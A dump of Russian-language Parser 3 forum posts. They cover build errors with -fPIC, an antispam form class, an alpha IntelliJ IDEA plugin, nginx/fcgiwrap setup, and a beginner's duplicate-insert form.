[code]./configure --prefix=/home/stur/parser3install \"--with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\"  --with-static-gc=/usr/home/stur/SERVER_APPS/parser/gc/lib --with-static-pcre=/usr/home/stur/SERVER_APPS/parser/pcre --with-static-xml=/usr/home/stur/SERVER_APPS/parser/gnome --with-curl=/usr/local/include/curl --with-apache=/usr/local/apache/bin/apxs --disable-safe-mode --with-pgsql-client=/usr/local/lib/libpq.so --silent[/code]\
\
В итоге:\
[code]gcc -shared -o mod_parser3.so -Wl,--whole-archive libmod_parser3.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../lib/json/libjson.a ../../../src/lib/ltdl/libltdlc.a -Wl,--no-whole-archive \\\
        /usr/home/stur/SERVER_APPS/parser/gc/lib/libgc.a /usr/home/stur/SERVER_APPS/parser/pcre/lib/libpcre.a /usr/home/stur/SERVER_APPS/parser/gnome/lib/libxslt.a /usr/home/stur/SERVER_APPS/parser/gnome/lib/libexslt.a /usr/home/stur/SERVER_APPS/parser/gnome/lib/libxml2.a   -lstdc++\
/usr/bin/ld: libmod_parser3.a(pa_threads.o): relocation R_X86_64_32 can not be used when making a shared object; recompile with -fPIC\
libmod_parser3.a(pa_threads.o): could not read symbols: Bad value\
gmake[3]: *** [parser3module] Ошибка 1\
gmake[3]: Leaving directory `/usr/home/stur/SERVER_APPS/parser/parser3/src/targets/apache'\
gmake[2]: *** [all-recursive] Ошибка 1\
gmake[2]: Leaving directory `/usr/home/stur/SERVER_APPS/parser/parser3/src/targets'\
gmake[1]: *** [all-recursive] Ошибка 1\
gmake[1]: Leaving directory `/usr/home/stur/SERVER_APPS/parser/parser3/src'\
gmake: *** [all-recursive] Ошибка 1\
[/code]\
\
\
Пробовал --with-dynamic-stdcpp, ошибка таже :(\
\
\
Как cgi парсер собирается без проблем.\
\
с драйвером pgsql тоже самое:\
[code]./configure --prefix=/home/stur/parser3install --silent --with-pgsql-inc=/usr/local/include\
\
gmake\
\
rm -fr .libs/libparser3pgsql.la .libs/libparser3pgsql.* .libs/libparser3pgsql.*\
(cd . && ln -s parser3pgsql.lo parser3pgsql.o)\
gcc -shared  parser3pgsql.lo -Wl,--whole-archive ./libltdl/.libs/libltdlc.al -Wl,--no-whole-archive   -Wl,-Bstatic -Wl,-lstdc++ -Wl,-Bdynamic -Wl,-soname -Wl,libparser3pgsql.so.0.0 -o .libs/libparser3pgsql.so.0.0\
/usr/bin/ld: /usr/lib/libstdc++.a(eh_personality.o): relocation R_X86_64_32S can not be used when making a shared object; recompile with -fPIC\
/usr/lib/libstdc++.a: could not read symbols: Bad value\
*** Error code 1\
\
Stop in /usr/home/stur/SERVER_APPS/parser/sql/pgsql.\
*** Error code 1\
\
Stop in /usr/home/stur/SERVER_APPS/parser/sql/pgsql.\
*** Error code 1\
\
Stop in /usr/home/stur/SERVER_APPS/parser/sql/pgsql.[/code]\
\
С опцией --with-dynamic-stdcpp драйвер к пг собрался."
"74982","[quote]recompile with -fPIC[/quote]\
Надо в build-скрипте всем собирающимся библиотекам (gc, pcre и т.д.) и самому парсеру добавить опцию сборки -fPIC.\
Не знаю как для FreeBSD, для моего линукса это выглядит так:\
[code]CFLAGS=\" -fPIC\" CXXFLAGS=\" -fPIC\"[/code]\
+ для парсера --with-dynamic-stdcpp."
"74984","Можете спокойно использовать последнюю версию: [url=\"http://www.parser.ru/forum/?id=74391\"]http://www.parser.ru/forum/?id=74391[/url]\
Основные изменения в новой версии касаются автокомплита операторов, методов и пр. радостей парсера. Например, набрав ^h получишь подсказку автокомплита:\
^hash\
^hashfile\
Выбрав первый пункт и нажав Enter, автокомплит допишет строку до ^hash:: и предложит:\
create\
sql\
Выбрав например sql, автокомплит завершит конструкцию и получится:\
[code]\
	^hash::sql{\
		|\
	}\
[/code]\
(| – каретка)"
"74985","По примеру Изменение размера картинок из лаборатории тестов...\
Выполняю пример:[quote]Основные методы:\
\
^images:save[image_file;destination_path;image_name;remove_meta;format]\
\
    $image_file — значение, полученное из формы, с атрибутом type=«file», или объект класса file.\
    $destination_path — путь, по которому будет сохранено изображение.\
    $image_name — новое имя файла без расширения. В случае отсутствия этого параметра, файл будет сохранен с текущим именем.\
    $remove_meta — значения 1/0. Удаляет мета-данные EXIF, IPTC и т.д. (при удалении происходит перекомпрессия файла 80%). Для этой функции необходим nConvert.\
    $format — формат файла в который нужно сохранить изображение [gif|jpg|jpeg|jpe|png].\
[/quote]\
\
Но если в коде прописать \
[code]$format[gif|jpg|jpeg|jpe|png][/code]\
\
[b]Не работает[/b] ошибки не выдаёт прсто не сохраняет изображение...\
\
работает:\
[code]$format[jpg][/code]\
\
Как заставить скрипт чтобы сохранял все форматы ???"
"74986","В документации приведен список допустимых.\
Вы выбираете в каком именно, разумеется одном, изображение сохранить.\
\
Если нужно сохранить одно изображение в нескольких форматах — сохраняйте его несколько раз, указывая нужный формат."
"74987","Добрый день!\
Мне нужно, сохранить  форматы из списка допустимых  только в jpg, а получается сохранять только  jpg в jpg, т. е. если загружаемое фото gif или jpeg, то оно не сохраняется..."
"74988","Воспользуйтесь [url=\"http://www.kulikoff.net/parser3/img/\"]более новым и универсальным набором классов[/url].\
Там есть метод .convert, позволяющий конвертировать изображения в необходимый формат, и другие методы умеют сохранять в различных форматах."
"74989","Господа, нужна помощь.\
\
Необходимо в имеющейся таблице, по клику кнопки, добавить равнозначную строку целиком , т.е. весь <tr>…</tr> целиком. Как это сделать на парсере???\
\
Или все сделать яваскриптом и голову не морочить?\
\
Заранее благодарен за любой ответ..."
"74991","Использую класс защиты от спама из примеров...\
Всё работатет, но как только вывел форму в popup окно...\
форма распологается по ссылке http://мой сайт/catalog/id_lot.html?id_lot=237\
Привожу код формы:\
[code]	^oAntiSpam.print{\
		^rem{ *** xhtml формы. никаких дополнительных полей руками добавлять не нужно. *** }\
#Форма для отправки заявки\
\
<div id=\"form_zayvka\" class=\"hidden\">\
<div class=\"bug\">\
<DIV><a href=\"/catalog/firma.html?firma=${result_vizitka.vizit_id}\" class=\"news_title\">Поставщик: $result_vizitka.ooof $result_vizitka.fname</a> ^region[${result_region.region_id}]</DIV>\
<div><b>$result_vizitka.tel_faks</b></div>	\
<form method=\"post\">\
		\
	<fieldset>\
		<div class=\"field\" ><br/><label for=\"n\"><b class=\"red\">*</b>Тема сообщения:</label><input size=\"40\" type=\"text\" id=\"n\" name=\"subject\" value=\"Вопрос о поставке $result_lot.nm_lot $form:id_lot\"/></div>\
		<div class=\"field\" ><label for=\"n\" ><b class=\"red\">*</b>ФИО:</label><input size=\"40\" type=\"text\" id=\"n\" name=\"name\" value=\"$form:name\"/></div>\
		<div class=\"field\" ><label for=\"n\"><b class=\"red\">*</b>Телефон:</label><input size=\"40\" type=\"text\" id=\"n\" name=\"tel\" value=\"\"/></div>\
		<div class=\"field\" ><label for=\"n\"><b class=\"red\">*</b>E-mail:</label><input size=\"40\" type=\"text\" id=\"n\" name=\"user_mail\" value=\"\"/></div>\
		<div class=\"field\" ><label for=\"n\"><b class=\"red\">*</b>Сообщение:</label></br>\
		<textarea  name=\"z_text\"  rows=\"5\" cols=\"50\" maxlength=\"300\">$form:spec</textarea><br/></div>\
		<div class=\"coment\">Укажите, пожалуйста, краткое описание вашей компании и детали вашего предложения.</div>\
		<div class=\"br\" ></div>	\
		<input type=\"hidden\" id=\"n\" name=\"mail\" value=\"$result_mail.email\" />\
		<input type=\"hidden\" id=\"n\" name=\"user_name\" value=\"$result_mail.name\" />\
		<input type=\"hidden\"  id=\"n\" name=\"lot_id\" value=\"$form:id_lot\" />\
			<div ><label for=\"n\"><b class=\"red\">*</b>Введите текст, который видите на картинке:</label><br/><br/>\
			<img src=\"^oAntiSpam.getTuringTest[./captcha.html]\" border=\"1\" /><br/><input type=\"text\" name=\"result\" value=\"\" /></div>\
			<br/><div class=\"coment\">Сообщение не является рекламным предложением (спамом). При обнаружении подобных действий доступ отправителя к сайту будет заблокирован и сообщения будут удалены. </div>\
\
			^rem{ *** ВНИМАНИЕ! Класс меняет содержимое атрибута 'name', *** }\
			^rem{ *** поэтому вы не должны привязываться к нему в CSS/XSL и анализировать его после POST формы. *** }\
			^rem{ *** Анализируйте $form:uid например *** }\
			<input type=\"submit\" name=\"action\" value=\"Отправить\" class=\"class\" />\
	</fieldset>		\
	</form>\
</div>\
</div>\
	\
	}[/code] \
\
после отправки формы исполняемый код:\
[code]^oAntiSpam.exec{\
	^rem{ *** проверяем все-ли в форме заполнено как надо *** }\
	^check[]\
	^mail:send[\
	$.from[$form:user_mail]\
	$.to[$form:mail,xxxx@yandex.ru]\
	$.subject[$form:subject]\
	$.text[\
	Здравствуйте $form:user_name!   \
	$form:z_text\
	Тел. $form:tel\
	]\
	$.html{Вы получили это письмо т. к. разместили объявление на сайте<a href=\"http://xxxxxxx\"> xxxxxxxx</a></br>\
	<b>Если Вы не желаете получать письма, удалите Ваше объявление в личном кабинете сайта!</b>\
	} \
	]\
	<h2>Ваша заявка отправлена!</h2>\
	$bShowForm(false)\
}[/code]\
\
ОШИБКА: в form пришли неизвестные поля"
"74992","В логе:\
[code]\
TIME: 2011-04-12 17:15:00, METHOD: GET, URL: resursles/catalog/id_lot.html?id_lot=237\
TYPE: print [fail: AntispamTuringCaptcha|unknown-fields|Unknown fields were detected while showing form: 'id_lot'] (1/2)\
FORM:    id_lot='237'\
REFERER: 'http://resursles/dobro/anketa.html'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0'\
UID:  1FD76D05-E1A7-4409-BD98-6CA094A5DC36\
UIDS: -25CDCBDF-12BB-4493-8D85-FC5A1D64E71B, 26B8B658-043B-44DB-B9AA-E4C3318313B1, -EE6A7712-24E8-4672-8938-1C6ECE3B4B6A, -8327AEC9-E757-46EB-A8C4-7E7F1C228063\
\
\
TIME: 2011-04-12 17:26:34, METHOD: GET, URL: resursles/catalog/id_lot.html?id_lot=237\
TYPE: print [ok] (2/3)\
FORM:    id_lot='237'\
REFERER: 'http://resursles/index.html'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0'\
UID:  banned\
UIDS: \
[/code]\
\
Ещё вопрос как отключить бан, чтобы сообщение не отправлялось, а то пользователь может ошибся, а его в бан не гуманно...\
[code]	$.hExpires[\
		^rem{ *** на сколько баним спамера (в днях). по умолчанию -- 0 (не баним) *** }\
		$.dBan(1/24)\
	][/code] \
Надо закоментировать переменную или  $.dBan(0)???"
"74993","[code]#	$.hFields[\
		^rem{ *** при отображении формы будем ругаться, если в form будут обнаружены не упомянутые в <form/> поля. по умолчанию -- true *** }\
#		$.bRefuseUnknown(true)\
		^rem{ *** но мы можем перечислить не упомянутые в <form/> поля, которым разрешено приходить в form, хотя они отсутствуют в <form/> *** }\
#		$.tAllowed[^table::create{sName^#0Arequest^#0Alang}]\
#	][/code]\
\
Как я догадываюсь. но не понимаю всё упираеться в переменную, кот. в методе get [code]id_lot[/code]"
"74994","укажите её в списке разрешённых полей (tAllowed)\
\
ну и бан во время тестирования лучше выключить."
"74995","Спасибо!"
"74996","[code]	$.hFields[\
		^rem{ *** при отображении формы будем ругаться, если в form будут обнаружены не упомянутые в <form/> поля. по умолчанию -- true *** }\
#		$.bRefuseUnknown(true)\
		^rem{ *** но мы можем перечислить не упомянутые в <form/> поля, которым разрешено приходить в form, хотя они отсутствуют в <form/> *** }\
		$.tAllowed[^table::create{id_lot^#0Arequest^#0Alang}]\
	][/code]"
"74997","[code]	$.hFields[\
		^rem{ *** при отображении формы будем ругаться, если в form будут обнаружены не упомянутые в <form/> поля. по умолчанию -- true *** }\
#		$.bRefuseUnknown(true)\
		^rem{ *** но мы можем перечислить не упомянутые в <form/> поля, которым разрешено приходить в form, хотя они отсутствуют в <form/> *** }\
		$.tAllowed[^table::create{sName^#0Arequest^#0Alang id_lot}]\
	][/code]"
"74998","[code]$.tAllowed[^table::create{sName^#0Arequest^#0Alang^#0Aid_lot}][/code]\
тоже самое что и\
[code]$.tAllowed[^table::create{sName\
request\
lang\
id_lot}][/code]\
[url=\"http://www.parser.ru/docs/lang/stringlit.htm\"]http://www.parser.ru/docs/lang/stringlit.htm[/url]"
"75007","Неспешно идет к релизу разработка плагина для IntelliJ IDEA для Parser 3.\
\
На данный момент реализован автокомплит по большей части конструкций языка, подсветка синтаксиса, просмотр структуры парсерных файлов с классами и их методами (включая статические), форматирование и индексация кода, базовый рефакторинг и анализ ошибок. В планах на самое ближайшее будущее - сделать IDE ничуть не хуже PHPStorm и Zend Studio.\
\
Плагин интегрируется с HTML плагином и по сути предоставляет также все фичи IDEA по редактированию самого HTML.\
\
Наиболее стабильно на данный момент плагин работает с IntelliJ IDEA Ultimate, и alpha сборки собираются именно на ней.\
\
Скачать плагин для тестирования можно здесь:\
http://plugins.intellij.net/plugin/?idea&id=6006\
\
Либо установить плагин из самой IDEA, он там называется [b]Parser for IDEA[/b]\
\
Исходники здесь:\
https://github.com/codingbox/idea-parser3\
\
Сообщать о багах можно в эту ветку форума, либо писать в JIRA http://codingbox.org/jira/, либо мне на e-mail.\
\
Скачиваем и тестируем :)"
"75010","Создал новый проект, жму New -> Parser class, вылезает ошибка:\
Cannot Create File\
Unable to parse template \"Parser class\"\
Error message: Lexical error: org.apache.velocity.runtime.parser.TokenMgrError: Lexical error at line 9, column 4. Encountered: <EOF> after : \"\"\
\
Добавил в шаблон Parser class перевод строки после ### в\
@auto[]\
###\
\
и все заработало."
"75011","> Добавил в шаблон Parser class перевод строки после ### в\
> @auto[]\
> ###\
>\
> и все заработало.\
\
Спасибо! Добавил в плагин исправление."
"75012","Всем привет сорри за оффтоп, что-то не могу сообразить можно ли одним запросом сделать следующую выборку:\
есть две таблицы типа \
[code]\
id_1 name_1\
1 раз\
2 два\
3 три\
\
id_2 name_2\
1 красный\
2 черный\
3 белый\
[/code]\
и третья таблица где установлены связи между двумя этими таблицами\
[code]\
id_1 id_2\
1 1\
1 2\
1 3\
2 2\
3 1\
3 2\
[/code]\
Вопрос можно ли одним запросом получить например \
все строки из таблицы два для которых нет установленных связей с таблицей один по конкретному id_1. Например id_1=2 надо получить из второй таблицы записи где id_2=1 и id_2=3, при id_1=3 соответственно надо получить id_2=3\
Заранее спасибо за ответ."
"75019","[code]SELECT _two.*\
FROM _two\
LEFT JOIN _three\
ON (_three.id_1 = 2 AND _two.id_2 = _three.id_2)\
WHERE _three.id_2 IS NULL[/code]"
"75020","Сначала хочется сказать большое спасибо, что занимаетесь этой задачей. Парсеру всегда нехватало поддержки нормальной ide, что тоже не в лучшую сторону влияло на развитие сообщества.\
Альфу наверное комментировать не стоит, на то она и альфа. Нехватает многово, и на самом деле вместо написани трактатов, чего не хватает, хочется услышать от вас, что планируется в самое-самое ближайшее время.\
\
Большая просьба (если это возможно): добавьте $result и булевые true/false в автокомплит в самую ближайшую сборку. Ну очень нехватает столь часто используемых конструкций/литералов. И было бы здорово скорректировать автокомплит ::sql конструкций, сейчас выдает:\
^hash::sql[]\
а не ^hash::sql{}[] \
Тоже самое и с table. И очень странно, что комплит делается с одним двоеточием (напр, ^hash: ), а не с двумя.\
Дайте знать, вообще стоит ли вам писать о подобном или пока закрывать глаза (ведь альфа).\
\
Еще раз спасибо!!!"
"75021","> Большая просьба (если это возможно): добавьте $result и булевые true/false в автокомплит в самую ближайшую сборку. Ну очень нехватает столь часто используемых конструкций/литералов. \
\
В alpha13 (сегодня) появятся.\
\
> И было бы здорово скорректировать автокомплит ::sql конструкций, сейчас выдает:\
> ^hash::sql[]\
> а не ^hash::sql{}[] \
> Тоже самое и с table. И очень странно, что комплит делается с одним двоеточием (напр, ^hash: ), а не с двумя.\
\
Про sql понял, а вот про одно двоеточие - неочень :) С одним - выдается подсказка по методам (статическим и динамическим), с двумя - конструкторам. Может быть, хотели сказать, что в подсказках по основным классам мешает мешанина статических и динамических методов в автокомплите? Тогда проблема понятна. Или имелось ввиду, что с двумя двоеточиями у вас не выводится ничего вообще? Тогда баг.\
\
Спасибо за тестирование :)"
"75022","С двоеточиями выводится, именно багов с этим пока не заметил.\
Имел в виду как раз смешение базовых классов и пользовательских.\
Например, если я набираю:\
^hash\
то явно хочу получить один из конструкторов\
^hash::create[] или ^hash::sql[]\
Соотв. вполне логично при автокомплите сразу получить ^hash:: и дать выбор между create и sql\
Конечно кто-то может задумать перекрывать базовые классы, но это думаю ооочень редкое исключение."
"75025","Есть способ аннотации методов, заключается он в следующей конструкции, обозначенной в комментариях:\
\
#:constructor\
#:param param1 type hash\
#:param param2 type MyUserClass\
@mymethod[param1;param2]\
\
###\
\
Это помогает среде определять тип параметра, если явно его определять неоткуда."
"75026","Мне кажется, что для Парсеровского синтаксиса логичнее и удобнее писать док-стринги после определения метода/класса."
"75027","Хм, а можно пример?"
"75028","... можно посмотреть на таком примере: http://code.google.com/p/parser3-pf/source/browse/trunk/pf/sql/generics/tags/pfSQLTags.p\
\
Синтаксис, предложенный вами, мне кажется слишком многословным, особенно указание типа. Есть подозрение, что такой синтаксис будет скрывать, особенно от новичков возможности \"утиной типизации\", которая является крайне мощным инструментом языка."
"75029","... не совсем понятно как ваш синтаксис позволит описать передачу параметров в виде хеша (объекта), что используется очень часто.\
[code]\
@method[aOptions]\
  $aOptions.type\
  $aOptions.id\
[/code]"
"75030","> ... не совсем понятно как ваш синтаксис позволит описать передачу параметров в виде хеша (объекта), что используется очень часто.\
> @method[aOptions]\
>  $aOptions.type\
>  $aOptions.id\
\
А вот этот момент пока на этапе проектирования, тем не менее мне понравился ваш пример в предыдущем комментарии :)\
\
Я, пожалуй, оставлю подход с \"над определением класса\" и разрешу другой стиль - внутри класса опционально (так как, честно говоря, являюсь сторонником внешних определений).\
\
Но есть еще один момент...\
\
...по поводу типизации - IDE строит по ней autocomplete, поэтому она и была введена...\
\
...без нее - совершенно непонятно, как IDE сможет определить ВСЕ ветки развития кода (даже если пытаться интерпретировать Parser на-лету, не удастся строить вменяемый и полный автокомплит)."
"75032","[code]\
#:constructor\
#:param param1 type hash\
#:param param2 type MyUserClass\
#:result boolean\
@mymethod[param1;param2]\
\
$result(true)\
[/code]\
\
Опционально конечно. Но частенько нужен этот \"жесткий\" контроль."
"75033","Добавил в alpha15, уже в репозиториях IntelliJ."
"75034","У парсера нет ключа @dynamic:, чтобы однозначно исключить методы из статической области.\
\
Наверное, нужно аннотацию в ParserDoc вида:\
\
#:dynamic\
\
также ввести. Попробую к alpha16 решить эту проблему окончательно. :)"
"75035","При выборе конструктора sql теперь автодополняется {} вместо []"
"75036","> Попробую к alpha16 решить эту проблему окончательно. :)\
\
Решил, в репозиториях IDEA."
"75037","Обновился до alpha15\
Пишу:\
[code]\
#:constructor\
#:result boolean\
@isBollean[]\
\
	$result(false)\
\
@testMethod[]\
\
	^isBollean[]\
\
[/code]\
\
 #:result не подсвечивается так же, как и construtor и param, при наведении пишет, что Cannot find declaration to go to\
При вызове ^testMethod[] я закономерно получу exception, а по задумке идея должна кричать и вопить, что нельзя так использовать ^isBollean[]\
\
Или я что-то не понял и делаю не правильно?"
"75039","> Или я что-то не понял и делаю не правильно?\
\
Класса boolean не бывает, есть bool."
"75041","> Упс. Обновился до alpha16 — работает. Но ошибку позволяет делать, как я понимаю обработка потом будет сделана.\
\
Это насчет несуществования класса?\
\
На Mac OS X 10.6.7 не удалось получить exception с некорректным классом. Если есть - то лучше stack trace выложить."
"75042","#:result по идее нужен для \"жесткого\" контроля на уровне ide\
Например, если у меня некий метод возвращает string\
\
#:constructor\
#:result string\
@myMethod[]\
 $result[abc]\
\
, а я результа работы этого метода присваиваю переменной\
\
 $counter(^myMethod[])\
\
то по задумке ide должна \"кричать\", что метод возвращает не выражение, а string.\
\
Или метод возвращает bool, а я его вызывают где-нить в @main[] :-) и конечно же при запуске получу exception :-) :-) А по задумке ide должна сообращать, что я дурю.\
И пр. случаи, когда заведомо ясно, что будет ошибка."
"75043","> то по задумке ide должна \"кричать\", что метод возвращает не выражение, а string\
\
До детального \"анализа\" кода как раз еще и не дошли, но планируется ближе к бете, скорее :)\
\
Сейчас много дополнен автокомплит - но еще не разнесен по \"областям\" - то есть можно в [] получить eq/lt автокомплит, например. Активно работаю сейчас именно над этим, хотя в целом, постарался, чтобы автокомплит максимум возможных вариантов сейчас выводил, где возможно."
"75044","Сейчас методы нельзя малевать в свои цвета.\
\
Например, @myMethod[]\
@ — меняется в Parser key at sign\
а myMethod вечно зеленый :-) и сколько не копал, так и не нашел где можно было б его перекрасить\
\
Незабудьте плз про это.\
Спасибо-спасибо-спасибо!"
"75045","Суть просьбы ясна. Есть возможность красить конструкторы, статические, динамические и обычные методы в разные цвета. Стоит и будет ли востребовано?"
"75046","У меня есть мнение на этот счет - на крупных проектах (десятки тысяч строк кода), те, кого не устраивают существующие ИСР, сделают свои на базе того же vim :)\
\
Тем не менее по опыту разработки плагина, я бы очень скучал без автоматического рефакторинга IDEA - он аккуратный и точный. На написание аналогичных перл скриптов я бы потратил на порядок больше времени (часы, а не секунды).\
\
Но это все флейм. :)\
\
Серьезно, есть идея по делу - так это по \"is type\" проверять классы, для которых тип не указан плюс стандартные классы можно отличить по методам (тот же хеш), поэтому, в IDEA нестрогой типизации все же быть."
"75047","Дополнение - не только стандартные классы."
"75048","Ведь у всех свои привычки и подстраиваться под другие схемы очень тяжело.\
Например, я привык писать с использованием шрифта Monaco. Очень красивый, легко читаемый и удобный шрифт. Но у него одна \"особенность\": нет болдового начертания. А при регулярном написании цвет выглядит чуть иначе, он становится менее контрастным. Единственный способ решения этой проблемы: использовать более контрастную расцветку и без такой возможности довольно непросто. Тем более мониторы и цветовые профили у всех разные."
"75049","Спасибо за комментарий! Появится в ближайшем обновлении.\
\
P. S. Кстати, по поводу шрифта - попробуйте IDEA 10.5 EAP (если Mac OS X), со стандартными шрифтами в ней уже все хорошо (используется новый monospace шрифт как в XCode). До нее тоже на Monaco сидел."
"75050","string может автоматически преобразовываться в int/bool в выражениях.\
hash/table могут возвращать разные типы в разных контекстах\
$oMyObjext благодаря @GET может возвращать разные типы значение в разных контекстах\
\
хотя в некоторых случаях (таких как приведённый вами MAIN), да, это поможет."
"75051","Это уже частично учитывается и совершенствуется.\
Хотя это ближе к реализации стандарта языка, нежели пользовательских фич (по крайней мере, в текущем контексте разговора).\
\
Возможно стоит подумать над\
#:param param1 type Type1|Type2\
и выводить смежную выборку (так делает netbeans для языка ruby), но не уверен, что это стилистически хороший подход...\
\
С другой стороны можно анализировать is type конструкции и внутри них делать приведения (но это уже совсем стиль кода)"
"75052","..и понимались под необходимостью строгой типизации. У всех случаи конечно свои, а у меня так частенько бывает потребность. Очень уж это помогает, когда кода много или когда код написан \"не вчера\" или \"писал его не ты\".\
Вот как раз эта возможность и хорошая тем, что она на уровне ide."
"75053","Но судя по всему, уже пора смотреть на лицензию. И все это благодаря исключительно вам.\
\
Спасибо! Очень радует, что скоро совсем будет хорошо."
"75054","Есть такое явление, как наследование/передача классов/методов/переменных, и причем происходит это до \"пицот-пятого поколения\" наследников, что концы с концами явно не сыщешь. Типичный пример: обертки для sql. Переменная с экземпляром класса объявляется в auto.p и пускается во все грешные по всему проекту. Чертовски удобно. Но вот загвоздка: пишешь ^CSQL :-) где-нить \"внутри\" и конечно же этот экземпляр для плагина не известен.\
Получается, надо каждый чих делать а-ля #:use / #:import , но с другой стороны это же с ума сойдешь.\
Уважаемые, какие планы/думы на этот счет?"
"75056","А на этот счет, скорее всего, с моей стороны недоработка. Распознать всю цепочку наследования IDE в силе, но я ничего не делал с методами $MAIN."
"75057","> Но судя по всему, уже пора смотреть на лицензию. И все это благодаря исключительно вам.\
\
Протестировал alpha15 - теперь работает \"на ура\" с Community Edition.\
\
EAP тут:\
http://confluence.jetbrains.net/display/IDEADEV/IDEA+10.5+EAP"
"75058","> Сейчас методы нельзя малевать в свои цвета.\
\
Добавлено в alpha18.\
\
В alpha18 также исправлен баг с #:result"
"75059","по мотивам [url=\"http://bolknote.ru/2011/03/24/~3157\"]вот этого поста[/url] попробовал запустить парсер под nginx на ubuntu, оказалось ничего особо сложного - нужен fastcgi враппер [url=\"http://nginx.localdomain.pl/wiki/FcgiWrap\"]fcgiwrap[/url], его можно достать либо через apt-get либо выкачать [url=\"https://launchpad.net/ubuntu/natty/i386/fcgiwrap/1.0.3-1\"]deb-пакет[/url] с сайта производителя. Для того чтобы все нормально заработало перед этим желательно установить libfcgi-dev и spawn-fcgi.\
\
Конфигурация nginx примерно следующая:\
[code]server {\
        listen   80;\
        server_name  parser.test;\
\
        location / {\
                root   /var/www/test/html;\
                fastcgi_index  index.html;\
 \
                include fastcgi_params;\
 \
                fastcgi_pass   [color=\"orange\"]unix:/var/run/fcgiwrap.socket[/color];\
				\
                fastcgi_param  SCRIPT_NAME  /var/www/test/cgi/parser3.cgi;\
                fastcgi_param  SCRIPT_FILENAME  /var/www/test/cgi/parser3.cgi;\
                fastcgi_param  PATH_INFO    $fastcgi_script_name;\
                fastcgi_param  PATH_TRANSLATED /var/www/test/html$fastcgi_script_name;\
        }\
}[/code]\
чтобы получилась аналогия апачевского addHandler, в SCRIPT_NAME и SCRIPT_FILENAME мы передаем путь до исполняемого файла парсера, а в PATH_INFO и PATH_TRANSLATED путь до нашего html-файла с кодом. CGI_PARSER_CONFIG не пригодилось, конфигурационный файл и без нее вроде нормально цепляется, остальные переменные есть в стандартном fastcgi_params.\
\
наименование сокета можно выпотрошить из /etc/init.d/fcgiwrap, оно там идет как FCGI_SOCKET, заодно можно исправить одно досадное недоразумение, находим в файле строчку\
[code]if running_pid '$pid' '$DAEMON'; then [/code]\
и убираем кавычки\
[code]if running_pid $pid $DAEMON; then [/code]\
иначе при остановке враппер остается болтаться в памяти, и если постоянно перезапускать их там много набивается"
"75060","Данный код создает 2 одинаковые строчки в таблице БД. Как это исправить?\
Прошу не пинать, я новенькая.\
[code]\
^if(def $form:post){\
^MAIN:dbconnect{\
^void:sql{insert into a_books (catalog_rus, game_name, file_name) values ('$form:type', '$form:game_name', '$form:game.name')}\
}\
^form:game.save[binary;/games/flash/$form:game.name]\
<h3>Игра добавлена</h3>\
}{\
\
}\
^MAIN:dbconnect{\
$catalog[^table::sql{select distinct catalog_rus from a_books}]\
}<form method=\"POST\" enctype=\"multipart/form-data\">\
^catalog.menu{\
<input type=\"radio\" name=\"type\" value=\"$catalog.catalog_rus\" />$catalog.catalog_rus<br />\
}\
<div style=\"font-size: 0.8em\">Новый раздел<br />\
<input name=\"type\" />\
</div>\
<div style=\"font-size: 0.8em\">Название игры<br />\
<input name=\"game_name\" />\
</div>\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" />\
</form>\
[/code]"
"75065","Нельзя изменить свойства расцветки системной переменной $self"
"75066","> Нельзя изменить свойства расцветки системной переменной $self\
\
Обновляйтесь, добавил."
"75067","[code]@dbconnect[code]\
^connect[$mysqlconnect]{$code}[/code]"
"75068","Виола, пишите весь свой код внутри connect\
Например:\
[code]\
@main[]\
\
^connect[$mysqlconnect]{\
  ^createMySite[]\
}\
\
@createMySite[]\
\
  ^void:sql{INSERT INTO a(b) VALUES(1)}\
  ^void:sql{INSERT INTO a(b) VALUES(4)}\
\
  ^showMenu[]\
\
@showMenu[]\
\
  $abc[^table::sql{SELECT b FROM a}]\
\
 ^abc.menu{\
  $abc.b\
 }[<br>]\
\
[/code]\
либо используйте библиотеки, которые есть в разделе примеры, там возможностей поболее.\
\
А строчки у вас дублируются, потому что явно вы дважды обращаетесь к этому коду. Причем как-нить не явно, а-ля сначала при подгрузке класса, а потом при обращении к этому куску кода."
"75069","если да, то возможны варианты:\
- делайте внешний редирект (правда тогда то-же самое будет происходить при нажатии Back).\
- реализуйте сами или используйте [URL=/examples/antispam/]готовые решения[/URL], которые добавляют защиту от дублирования сообщений.\
\
при использовании указанного класса код преобразиться в следующее:\
[code]\
$bShowForm(true)\
^oAntiSpam.exec{\
	...тут ваши insert+save без всяких проверок на $form:post...\
	$bShowForm(false)\
}\
^if($bShowForm){\
	^oAntiSpam.print{\
		<form ....>\
			...тут ваша форма...\
		</form>\
	}\
}\
[/code]\
антиспам защиту можно будет отключить (если это в backend-е, а на frontend-е можно не отключать).\
параметры создания $oAntiSpam выглядят страшными, я знаю. но с ними можно разобраться один раз, скрыть их в классе-потомке и забыть :)\
а можно использовать идущий в комплекте класс-потомок Antoflood.p, который обеспечивает лишь необходимую защиту от дублирования сообщений."
"75070","ещё раз обновил Antispam.\
\
классы несколько переделаны, чтобы проще было добавлять тесты Тюринга (капчу, например). заодно в архив добавлены классы-потомки, которые реализуют:\
- только защиту от флуда (дублирования сообщений).\
- защиту с помощью решения арифметической задачи.\
- защиту с помощью простой капчи (сдвиг символов, изменение их цвета, добавление шума. [b]трансформации символов и их вращения -- нет[/b]). в комплекте есть набор символов и код, помогающий в создании собственных изображений.\
- класс, в котором показано, как можно сделать потомка и корректно перекрыть методы print/exec, поместив в них разбор \"исключений\" (чтобы не таскать их код по файлам своих проектов)"
"75071","Misha v.3, большое вам спасибо, но я ж говорю, я Новичок, причем не только в Parser, но и программировании в целом.\
\
Тот код с которым я просила помочь результат (не соврать бы) 2/5 месяцев почти каждодневного перелопачивания документации по Parser,y. А то что вы мне предлагаете для меня еще сложно, я не понимаю, что с этим делать. Я со своим-то кодом порой с трудом справляюсь =).\
\
Ну, вернемся к нашим баранам...\
